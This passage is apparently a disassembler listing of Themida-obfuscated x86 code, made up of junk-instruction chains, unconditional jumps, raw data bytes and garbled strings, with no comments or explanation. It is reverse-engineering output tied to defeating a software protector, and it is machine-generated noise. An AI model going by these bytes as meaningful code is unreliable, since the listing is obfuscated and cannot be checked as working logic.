		dd 0F7D7F775h, 0F7EF87D7h, 58E957D5h, 8B000038h, 0BDE92404h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_56A2F7:				; CODE XREF: Themida_:0056BACAj
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55E2AE
; ---------------------------------------------------------------------------


loc_56A308:				; CODE XREF: Themida_:00561CF7j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_56495F
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 2D000000h, 7CB2296Ch, 0FCE9F001h
		db 93h,	2 dup(0FFh)
byte_56A323	db 68h			; DATA XREF: Themida_:0055DDE8o
		dd 6DFEh, 68241489h, 6A54h, 0BF243C89h,	7B2A0FE3h, 0F41DBB53h
		dd 0C6E984D5h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56A343:				; CODE XREF: Themida_:0056A703j
		add	esp, 4
		add	al, 16h
		jmp	loc_56A1A7
; ---------------------------------------------------------------------------


loc_56A34D:				; CODE XREF: Themida_:0055EA0Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		push	2766h
		mov	[esp], edi
		mov	edi, 4E306108h
		or	edi, 5BA10280h
		xor	edi, 782C53DAh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563A8C
; ---------------------------------------------------------------------------
		db 55h
		dd 574A1BDh, 5DE8015Bh,	0E1007D05h, 55D82952h, 0E1007DBDh
		dd 8BE82952h, 0E957242Ch, 0FFFF6234h, 7360C3BBh, 2FCB8154h
		dd 0E9362550h, 0FFFF94C4h, 0E904C483h, 5A9Fh, 2A96BA52h
		dd 0C28113D4h, 5E817E17h, 19AEE281h, 0EA813991h, 0FA1ADFCAh
		dd 1FFDE9h, 3DE95E00h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A3DF:				; CODE XREF: Themida_:00564808j
		shl	edi, 7
		xor	edi, 22BB276Ch
		jmp	loc_5674C7
; ---------------------------------------------------------------------------
aBsW3sqv	db 'éêwÄ3éQv',0
		align 4
		dd 8704E983h, 0E95C240Ch, 0FFFF5D7Bh, 5F2DB850h, 48E95B5Fh
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A40F:				; CODE XREF: Themida_:0055E879j
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_56CD3D
		push	7C8Fh
		mov	[esp], esi
		push	eax
		jmp	loc_562C26
; ---------------------------------------------------------------------------


loc_56A429:				; CODE XREF: Themida_:0056505Bj
		push	69Ah
		mov	[esp], eax
		jmp	loc_567235
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 1704731Bh, 0B1E9FB87h, 87FFFF83h, 0F7E953DAh, 81FFFFC5h
		dd 5B1FFFE5h, 5EDC10Ch,	0C581DDF7h, 988B9BF4h, 15DE829h
		dd 24048BC3h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 6054B850h
		dd 0E9487495h, 0FFFF9A80h, 5724348Bh, 0FFE083E9h, 243C89FFh
		dd 4BFh, 5FF80100h, 2474FF50h, 1CEBE904h, 815F0000h, 85F217C3h
		dd 5B585305h, 48BC131h,	0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 34FFC831h, 89535924h, 75EFE9E3h, 89560000h
		dd 1013E9E6h, 31B40000h, 805AD400h, 0E3283FC3h,	0E93FEB80h
		dd 4C3Dh
; ---------------------------------------------------------------------------


loc_56A4E8:				; CODE XREF: Themida_:00568612j
		mov	ebx, esp
		push	ebp
		push	esi
		push	17117ADAh
		pop	esi
		dec	esi
		or	esi, 694F296Dh
		jmp	loc_55FA25
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 5DEA0958h, 0FF4FD3E9h, 0E9DA89FFh, 42B5h, 42474FFh
		dd 0FF4478E9h, 5EEC1FFh, 0FFE206E9h, 0C3015FFFh, 6964E9h
		dd 0E7BA5200h, 0E922153Ch, 0FFFF6FCDh, 5907C381h, 0EB293338h
		dd 5907EB81h, 64E93338h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A547:				; CODE XREF: Themida_:00563A5Cj
		neg	ecx
		jmp	loc_562B3C
; ---------------------------------------------------------------------------
		dw 8146h
		dd 0CE515CE6h, 427DE937h, 487FFFFh, 0B9515C24h,	334576C8h
		dd 0F755E987h, 0F0E92414h, 6800003Ah, 7C9F72A4h, 83241C8Bh
		dd 524B04C4h, 0B51EC3BAh, 5AD32934h, 457668h, 242C8900h
		dd 0E30C6EBDh, 0E9EB2142h, 0FFFF7796h, 372C7F0Dh, 0CB440558h
		dd 0C5319F94h, 46E98158h, 0E96AA05Ch, 900h, 4C481h, 0EBD10000h
		dd 2A59BF57h, 0EF814D3Eh, 45CC85F9h, 895FFB29h,	0D5015BDAh
		dd 8124148Bh, 4C4h, 242C8700h, 4EC815Ch, 89000000h, 0C1E9240Ch
		dd 53FFFFAEh, 1570BABBh, 5BDA3137h, 0D331DA31h,	2667E9h
		dd 80EDD000h, 0ED80FFEDh, 0B48DE950h, 248BFFFFh, 24148924h
		dd 0FF3A8EE9h, 0C4815DFFh, 4, 2A4ABF57h, 0F9010F09h, 83243C8Bh
		dd 0C10104C4h, 2A4AE981h, 0BF570F09h, 637E7FC5h, 8B5FF929h
		dd 0C4832404h, 25656804h, 3C890000h, 71D8E924h,	0CD01FFFFh
		dd 42CE9h, 0B0E95400h
		db 0EFh, 2 dup(0FFh)
byte_56A657	db 0FFh			; DATA XREF: Themida_:0055DFC0o
		dd 3A41E932h, 3C8BFFFFh, 4C48324h, 7BE5653h, 8927343Ch
		dd 0A7E95EF3h, 54FFFFD4h, 5F2434FFh, 4EC8356h, 0E9242489h
		dd 0FFFFE551h
; ---------------------------------------------------------------------------


loc_56A684:				; CODE XREF: Themida_:0055EE2Ej
		mov	[esp], esi
		jmp	loc_56B9E3
; ---------------------------------------------------------------------------


loc_56A68C:				; CODE XREF: Themida_:0056433Bj
		mov	esi, ebx
		push	46E6h
		mov	[esp], esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_568672
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 2, 31241433h, 14332414h, 0F4F8E924h,	0D789FFFFh, 631AE9h
		dd 88505200h, 58E288ECh, 7E9D388h, 5CFFFF3Ch, 82EB80h
		dd 0D6EEE9D3h, 0DFF7FFFFh, 0C781D7F7h, 5579743Ch, 0B60BF781h
		dd 0FE29311Eh, 0FF4B08E9h, 8BFB01FFh, 0C481243Ch, 4, 0E930FF66h
		dd 27Dh
; ---------------------------------------------------------------------------


loc_56A700:				; CODE XREF: Themida_:00569DC0j
		mov	ebx, [esp]
		jmp	loc_56A343
; ---------------------------------------------------------------------------
		dd 2474FF56h, 48F5E04h,	0FAE95C24h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A717:				; CODE XREF: Themida_:00567386j
		add	esp, 4
		push	ax
		mov	al, 0FDh
		push	cx
		mov	ch, 14h
		push	cx
		mov	ch, 3
		sub	bl, ch
		pop	cx
		sub	bl, ch
		jmp	loc_567025
; ---------------------------------------------------------------------------


loc_56A731:				; CODE XREF: Themida_:0056E410j
		xor	eax, 43C35E4Dh
		mov	edx, eax
		pop	eax
		inc	edx
		add	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_568B02
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 244CE924h, 40E90000h
		dd 89FFFF39h, 4C181E1h,	81000000h, 2C1h, 240C8700h, 24148B5Ch
		dd 8904EC83h, 0E0892404h, 0F270E955h
		db 2 dup(0FFh)
word_56A782	dw 77FFh		; DATA XREF: Themida_:0055E048o
		dd 59669D1Ch, 2414D366h, 390DE99Ch, 0C281FFFFh,	89774250h
		dd 8293E952h, 0C1FEFFFFh, 0D486E186h, 0D486D2F6h, 0F180E186h
		dd 80D1F6FAh, 0C80069E9h, 2CF82859h, 0E9B50402h, 188h
		dd 0FF240489h, 0E9042474h, 0FFFFB7A9h, 15AD301h, 82EB81FBh
		dd 81528040h, 32D6EBh, 19C38137h, 8122C863h, 0E05C46EBh
		dd 0CEE95F67h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A7EF:				; CODE XREF: Themida_:0056B7BFj
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56A7FA:				; CODE XREF: Themida_:00572251j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		add	ebp, 0CC03864Dh
		add	eax, 116127C0h
		add	eax, ebp
		sub	eax, 116127C0h
		jmp	loc_57010C
; ---------------------------------------------------------------------------
		db 53h,	50h, 81h
		dd 65052404h, 815B7B27h, 276505EBh, 236D687Bh, 2C890000h
		dd 4EC8324h, 0E9241C89h, 0FFFF4717h
; ---------------------------------------------------------------------------


loc_56A848:				; CODE XREF: Themida_:005723CBj
		mov	edi, 5B3E15B9h
		jmp	loc_55EF9B
; ---------------------------------------------------------------------------


loc_56A852:				; CODE XREF: Themida_:0056C2EAj
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_5674B6
; ---------------------------------------------------------------------------


loc_56A861:				; CODE XREF: Themida_:0056E23Bj
		sub	al, dl
		add	al, 0DDh
		sub	al, 97h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5696BA
; ---------------------------------------------------------------------------


loc_56A875:				; CODE XREF: Themida_:005682DAj
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55E1B9
; ---------------------------------------------------------------------------
		dd 66565266h, 665E6BBEh, 5581CE81h, 9AEE8166h, 66565509h
		dd 664F58BEh, 71EAEE81h, 0B9C68166h, 0E6816622h, 0C166478Fh
		dd 49E906E6h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8B3:				; CODE XREF: Themida_:00572C3Aj
		sub	edi, 0B3935E0h
		add	edi, 0F6324245h
		add	esi, edi
		jmp	loc_560425
; ---------------------------------------------------------------------------


loc_56A8C6:				; CODE XREF: Themida_:00570FA1j
		pop	edx
		jmp	loc_5695C7
; ---------------------------------------------------------------------------
		dd 4C481h, 0C0E90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8D7:				; CODE XREF: Themida_:0055E69Fj
		add	ecx, 0CB097A9Dh
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_569306
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 14h
aS4_0		db '$éÀ4',0
		align 2


loc_56A8FA:				; CODE XREF: Themida_:005633BEj
		mov	edi, esp
		push	eax
		mov	eax, 4
		jmp	loc_57094A
; ---------------------------------------------------------------------------


loc_56A907:				; CODE XREF: Themida_:0056BE5Cj
		add	esi, edx
		pop	edx
		and	esi, 42266118h
		not	esi
		push	eax
		mov	eax, 47680318h
		jmp	loc_56AD24
; ---------------------------------------------------------------------------


loc_56A91D:				; CODE XREF: Themida_:00560900j
		push	6D4Fh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	7FA2h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_55EDEA
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9D1F7D1h, 0FFFF7173h, 94B151h, 240C8BC8h, 67D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A955:				; CODE XREF: Themida_:00567BECj
		and	ebx, 24CE3718h
		jmp	loc_56CE25
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3280000h, 540DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A96D:				; CODE XREF: Themida_:0056F41Cj
		mov	esp, [esp]
		jmp	loc_55F062
; ---------------------------------------------------------------------------


loc_56A975:				; CODE XREF: Themida_:0056B3EBj
		mov	[esp], ebp
		jmp	loc_569250
; ---------------------------------------------------------------------------
		db 0E9h, 1Dh, 37h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A982:				; CODE XREF: Themida_:00566C59j
		add	eax, 50D96411h
		neg	eax
		not	eax
		inc	eax
		neg	eax
		add	eax, 0D7F98103h
		mov	ebx, eax
		jmp	loc_567805
; ---------------------------------------------------------------------------


loc_56A99A:				; CODE XREF: Themida_:00567575j
		pop	ebp
		push	eax
		jmp	loc_560253
; ---------------------------------------------------------------------------


loc_56A9A1:				; CODE XREF: Themida_:00565611j
		pop	esp
		pop	edx
		sub	edx, 30835413h
		jmp	loc_56A04D
; ---------------------------------------------------------------------------
		dw 0BB66h
		dd 31667399h, 6602245Ch, 665F665Bh, 7399F781h, 7C01665Bh
		dd 8B660224h, 0C483243Ch, 36CDE902h, 815BFFFFh,	4C4h, 8357E900h
		dd 814EFFFFh, 4ECh, 242C8900h, 67697EBDh, 0E2CD8151h, 0E9524607h
		dd 0FFFFA951h
; ---------------------------------------------------------------------------


loc_56A9F8:				; CODE XREF: Themida_:00563AF3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		push	3BE4h
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5714B2
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 70h
		dd 12F1A46h, 0FAEFE9F8h, 895AFFFFh, 0D5015EF5h,	30DBE9h
		db 0
byte_56AA3D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DEDCo
aHi		db '$hë{',0
		align 2
		dw 0C89h
		dd 50595424h, 0CBF8E953h, 9305FFFFh, 89C808FEh,	0BA5258C7h
		dd 0D415D1Dh, 78E9D709h, 89000041h, 74FF242Ch, 2C8B0424h
		dd 4965E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AA76:				; CODE XREF: Themida_:0056147Bj
		neg	ecx
		jmp	loc_55E699
; ---------------------------------------------------------------------------
		db 59h,	33h, 2Ch
		dd 242C3124h, 0FF3EC9E9h, 241C33FFh, 6624248Bh,	9C2404D3h
		dd 570BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56AA99:				; CODE XREF: Themida_:00563290j
		pop	ecx
		jmp	loc_570C75
; ---------------------------------------------------------------------------


loc_56AA9F:				; CODE XREF: Themida_:00566774j
		xchg	ebp, [esp]
		jmp	loc_56FB50
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E8E92424h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AAAF:				; CODE XREF: Themida_:00567441j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		add	ecx, 68966F56h
		jmp	loc_56C080
; ---------------------------------------------------------------------------
		db 28h
		dd 0C78059CCh, 0C4EF807Dh, 1740E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AADD:				; CODE XREF: Themida_:0056CFEFj
		sub	ebx, 53A85CC4h
		sub	ebx, esi
		add	ebx, 53A85CC4h
		pop	esi
		push	ebx
		xor	dword ptr [esp], 27A4649h
		jmp	loc_5638BD
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 24148B66h, 4EC81h, 4890000h,	51585424h, 4B9h, 59C80100h
		dd 2BF57h, 0F8010000h, 0E9243C8Bh, 6E6Eh, 2474FF57h, 0DFE6E904h
		dd 0F181FFFFh, 0EA87C155h, 0E6E9CF21h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB3B:				; CODE XREF: Themida_:00564ABAj
		sub	esp, 4
		mov	[esp], ebp
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56CB15
; ---------------------------------------------------------------------------
		dd 0D0285A66h, 137E9h, 5DA30500h, 7354ADEh, 299C5FCFh
		dd 0FB0158C3h, 74F8C381h, 3C8B0C36h, 4C48324h, 8B241C87h
		dd 27682424h, 89000064h, 0C7BE2434h, 1280B7Fh, 458E9F2h
		dd 0EB810000h, 22736113h, 0B343EB81h, 0DE21EEB0h, 3817E9h
		dd 9D685100h, 0E91D586Ch, 570Ah, 2CD0F6h, 0B1516904h, 80C9FEDEh
		dd 0C80864C1h, 3BBE9h, 240C8B00h, 0FF3A4DE9h, 241C8BFFh
		dd 490FE9h, 0BCE98100h,	18030EAh, 45EEE9CEh, 4FF0000h
		dd 0C5815D24h, 0FFFEE42Eh, 2C8BE901h, 5EA2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ABF6:				; CODE XREF: Themida_:0056FACBj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56B21F
; ---------------------------------------------------------------------------
		dd 250EBB53h, 0F3814C72h, 2EB55C46h, 0E3C1D3F7h, 2EBC107h
		dd 0D6DCEB81h, 0DF012710h, 4EF835Bh, 0E9243C87h, 0FFFF7F5Dh
		dd 31C0F681h, 0EEC14F2Bh, 0E23FE907h, 0EFC1FFFFh, 0E9F78705h
		dd 1F3Bh, 4C1815Ch, 57000000h, 2BFh, 9ABF5700h,	0E91CF538h
		dd 0FFFFBAE1h, 7810C381h, 0FB293C6Bh, 7810EB81h, 0EB813C6Bh
		dd 3C10686Bh, 83243C8Bh, 26E904C4h, 81FFFF75h, 0E2755FEEh
		dd 0EC815D5Ch, 4, 0FFC845E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AC8D:				; CODE XREF: Themida_:0056D24Bj
		and	eax, esi
		jmp	loc_57262E
; ---------------------------------------------------------------------------
		dd 535A792Ch, 0D7F6C9B7h, 0E906B450h, 709Eh, 405h, 40500h
		dd 4870000h, 46685C24h,	89000054h, 99B5240Ch, 808DC580h
		dd 0D5F652C5h, 0BCD9E953h, 0EF83FFFFh, 243C8704h, 1FF2E9h
		dd 0D6C28100h, 0E91A2452h, 7C2Ah
; ---------------------------------------------------------------------------


loc_56ACE0:				; CODE XREF: Themida_:0056E6A2j
		inc	esi
		jmp	loc_5689DC
; ---------------------------------------------------------------------------


loc_56ACE6:				; CODE XREF: Themida_:00572A77j
		mov	edi, esp
		add	edi, 4
		jmp	loc_568D6F
; ---------------------------------------------------------------------------


loc_56ACF3:				; CODE XREF: Themida_:0055FD07j
		mov	dword ptr [ecx], 0
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_566121
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D042474h, 0E924048Fh, 5793h
; ---------------------------------------------------------------------------


loc_56AD24:				; CODE XREF: Themida_:0056A918j
		and	esi, eax
		pop	eax
		jmp	loc_56CFE9
; ---------------------------------------------------------------------------
		dd 0B470E62Dh, 0EC835E57h, 24148904h, 0A6341FBAh, 1DF28174h
		dd 174A634h, 1193E9D0h,	0BB530000h, 0F1226E0h, 5CCEEB81h
		dd 0E38117B9h, 52DA174Bh, 1E2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56AD61:				; CODE XREF: Themida_:0056F494j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_567BB1
; ---------------------------------------------------------------------------
		db 1
		dd 0EA815EF2h, 78615F5Dh, 0E955C201h, 0FFFF8256h, 31241C33h
		dd 1C33241Ch, 4815C24h,	4861C824h, 2404810Ah, 6122264h
		dd 0F2242C81h, 2901466Ch, 4812404h, 466CF224h, 3586801h
		dd 0FFE90000h, 31FFFF41h, 0BF5758C2h, 42FD7B44h, 0E7D1D7F7h
		dd 5ABD5550h, 0E90C2E5Dh, 0FFFF5493h, 4EB81h, 1C870000h
		dd 24248B24h, 0DAEE9h, 242C8900h, 6AA5E9h, 24248B00h, 0FFBC77E9h
		dd 4C483FFh, 6183E9h, 241C8900h, 0FF6AFAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ADFD:				; CODE XREF: Themida_:00563471j
		mov	[esp], eax
		jmp	loc_56307A
; ---------------------------------------------------------------------------


loc_56AE05:				; CODE XREF: Themida_:0055FA3Bj
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		jmp	loc_5659E5
; ---------------------------------------------------------------------------
		db 58h
		dd 815DEE01h, 0A2275DEBh, 81F30136h, 0A2275DC3h, 2434FF36h
		dd 4C4835Eh, 4CF0E9h, 24248B00h, 0FF8F99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AE39:				; CODE XREF: Themida_:0055E812j
		pop	ebp
		push	eax
		jmp	loc_563D17
; ---------------------------------------------------------------------------


loc_56AE40:				; CODE XREF: Themida_:0056CC5Bj
		push	ebx
		push	32DAh
		mov	[esp], eax
		push	esi
		push	56412DBCh
		mov	esi, [esp]
		jmp	loc_56B4C4
; ---------------------------------------------------------------------------
		db 68h
		dd 1289h, 0E9242489h, 0FFFFDECBh, 5CACED81h, 335B48F8h
		dd 0FDE9242Ch, 4D00006Bh, 0F98FED81h, 0EA0112E6h, 240C8B5Dh
		dd 4C481h, 14870000h, 24248B24h, 68240C8Bh, 2642h, 68242C89h
		dd 0D60h, 1E6868h, 0D445E900h, 4668FFFFh, 0E900001Ah, 0FFFFAB6Dh
		dd 0C181E901h, 6AA05C46h, 4C1835Dh, 5C240C87h, 0FF9C38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AEC5:				; CODE XREF: Themida_:0055E27Aj
		shl	eax, 4
		xor	eax, 5D144787h
		shr	eax, 8
		push	esi
		jmp	loc_5723FE
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 27F15447h, 0AFE9CF29h
		db 0B8h, 2 dup(0FFh)
aNrsq		db '­RéQ+',0            ; DATA XREF: Themida_:0055DFACo
		align 2
		dw 6F2Dh
		dd 14F4271h, 716F05D8h,	515B4F42h, 0B9359DB9h, 0E6C18146h
		dd 815F5A66h, 2D0C3EE9h, 0C1C4E961h, 0BA52FFFFh, 2455574Eh
		dd 0DE00C281h, 0D789513Dh, 5BEF815Ah, 0C1365C1Fh, 814705E7h
		dd 0E2BE5DEFh, 8BFD01E6h, 0C481243Ch, 4, 4EC81h, 34890000h
		dd 2F60BE24h, 0D6F76100h, 6E8BE681h, 0B9512E8Ah, 40D97973h
		dd 5559CE09h, 0DB79F968h, 242C8B4Eh, 3104C483h,	0C5815DEEh
		dd 783F303Ch, 6928ED81h, 0CCE922BDh
		db 70h,	2 dup(0)
byte_56AF77	db 66h			; DATA XREF: Themida_:0055DF3Co
		dd 0E924048Bh, 30Ah, 7E0C059h, 0C3008104h, 148B6658h, 2C48324h
		dd 80E7EB80h, 0AFE9FDEBh, 80FFFF57h, 0E6D0FCCEh, 0EAC680h
		dd 2434FFF3h, 47E9515Ah, 89000039h, 5153240Ch, 0C9FE6BB1h
		dd 0E9D7B353h, 0FFFFF178h, 6173EF81h, 0FE97718h, 68FFFF4Dh
		dd 2F90h, 0BF243C89h, 4, 0E4351C05h, 2DF80106h,	6E4351Ch
		dd 0DF89E95Fh, 0E95EFFFFh, 0FFFF30AFh
; ---------------------------------------------------------------------------


loc_56AFF0:				; CODE XREF: Themida_:005713E1j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ecx
		push	ebx
		mov	ebx, 14F30737h
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55E1A1
; ---------------------------------------------------------------------------
aYssJ		db 'YSé"J',0
		dw 2100h
		dd 39E95AD6h, 83000004h, 0C28104C4h, 4,	147CE9h, 4C48300h
		dd 4EC81h, 0C890000h, 0AC55E924h, 0C166FFFFh, 816607E3h
		dd 662305E3h, 0DF55EB81h, 0FF821EE9h, 240487FFh, 8924248Bh
		dd 36E9241Ch, 0BEFFFFA5h, 4, 4247401h, 24048F5Eh, 6418E952h
		dd 0DAB80000h, 55C5B4B0h, 0EF89C589h, 0E9242C8Bh, 1439h
; ---------------------------------------------------------------------------


loc_56B084:				; CODE XREF: Themida_:005628A4j
		push	ecx
		jmp	loc_56F7F6
; ---------------------------------------------------------------------------
		dw 431h
		dd 1C63E924h, 34FF0000h, 2434FF24h, 8324048Bh, 895604C4h
		dd 67E951E6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B0A7:				; CODE XREF: Themida_:0056FFC4j
		pop	dword ptr [esp]
		jmp	loc_566F94
; ---------------------------------------------------------------------------
aSs_0		db '^)Êé™',8,0
		dw 0C100h
		dd 0E68104E6h, 4F022925h, 0FFB372E9h, 2414F7FFh, 8324348Bh
		dd 0F68104C4h, 185332B9h, 3CEFE946h, 148B0000h,	4C48324h
		dd 4C281h, 69680000h, 0E900007Eh, 75Bh,	81242C8Bh, 4C4h
		dd 3FF0E900h, 0E9550000h, 71C7h, 4EC8156h, 0E9000000h
		dd 0FFFF92D3h, 5C243487h, 0FF466FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B119:				; CODE XREF: Themida_:005636DCj
		push	ecx
		add	dword ptr [esp], 6235028Ch
		mov	esi, [esp]
		jmp	loc_560704
; ---------------------------------------------------------------------------


loc_56B129:				; CODE XREF: Themida_:0056B785j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5625F8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6802EDC1h, 7745h, 0E9240489h, 0FFFF6755h
; ---------------------------------------------------------------------------


loc_56B154:				; CODE XREF: Themida_:00562D48j
		mov	eax, edx
		pop	edx
		jmp	loc_56EFDC
; ---------------------------------------------------------------------------
		dd 34FFD931h, 0C4835B24h, 0E9CF8904h, 0FFFFFEA4h
; ---------------------------------------------------------------------------


loc_56B16C:				; CODE XREF: Themida_:00569759j
		mov	ebx, 38035B6Bh
		jmp	loc_560F28
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 0F541E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B18A:				; CODE XREF: Themida_:0056BA0Aj
		mov	[esp], eax
		push	edx
		mov	edx, 3F282ACAh
		jmp	loc_56E931
; ---------------------------------------------------------------------------
		dd 0DAF6D2F6h, 9226E951h, 815DFFFFh, 4ECh, 24348900h, 4BEh
		dd 1ED8100h, 10B4456h, 4EC81F5h, 89000000h, 0BE56240Ch
		dd 0A7B6774h, 3F3175B9h, 5EF13101h, 797FC581h, 0CD017A38h
		dd 797FED81h, 0C8B7A38h, 4C48124h, 0FF000000h, 835E2434h
		dd 0C58304C4h, 4EC8102h, 0E9000000h, 0FFFF4CB5h, 0E9241433h
		dd 0FFFF97A5h
; ---------------------------------------------------------------------------


loc_56B204:				; CODE XREF: Themida_:0056017Aj
		xor	ecx, ebp
		not	ebp
		xchg	ebp, ecx
		jmp	loc_56E2AF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 20E92434h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B217:				; CODE XREF: Themida_:00564CB2j
		and	eax, ebx
		pop	ebx
		jmp	loc_5655F5
; ---------------------------------------------------------------------------


loc_56B21F:				; CODE XREF: Themida_:0056ABFFj
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		jmp	loc_563B84
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 28814882h, 0A1BF575Fh, 0E938B5DEh, 0FFFF9C4Bh, 4C481h
		dd 0F2290000h, 33C2815Eh, 29306C62h, 33EA81C2h,	53306C62h
		dd 0FF8D45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B265:				; CODE XREF: Themida_:00572BB5j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4DCF265Eh
		add	ebx, 1
		jmp	loc_569E16
; ---------------------------------------------------------------------------


loc_56B281:				; CODE XREF: Themida_:00561FB4j
		pop	edi
		push	dword ptr [esp]
		jmp	loc_567260
; ---------------------------------------------------------------------------
		dw 9F68h
		dd 89000070h, 0FF542404h, 55582434h, 0FFA30FE9h, 73F4B9FFh
		dd 9ABB7C61h, 1E71805h,	0BF5759CBh, 64100D0Bh, 4702EFC1h
		dd 4DA6BA52h, 0DAF7791Eh, 0BCC2814Ah, 1DAD57Ah,	0B6E95AD7h
		dd 83FFFF37h, 3C8904ECh, 6212E924h, 487FFFFh, 24248B24h
		dd 0FF2DBEE9h
		db 0FFh
byte_56B2E1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DE64o
		dd 62F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B2EA:				; CODE XREF: Themida_:00566E91j
		add	al, dl
		sub	al, 86h
		pop	dx
		sub	bl, 0FDh
		sub	bl, 0Bh
		push	eax
		jmp	loc_57288F
; ---------------------------------------------------------------------------
aZScp		db '‡<$é—P',0
		align 4
		dd 0BA34CB2Dh, 59545115h, 4BB53h, 0D9010000h, 10DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B319:				; CODE XREF: Themida_:00571EC0j
		or	ebp, 5E9145EAh
		jmp	loc_56710D
; ---------------------------------------------------------------------------
		dd 0DE9EB81h, 0D3E94CC4h, 56FFFF79h, 8904EC83h,	0BA522424h
		dd 4, 4245401h,	37D8E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B346:				; CODE XREF: Themida_:0056D6D3j
		sub	edi, 0C44AE017h
		and	edx, edi
		pop	edi
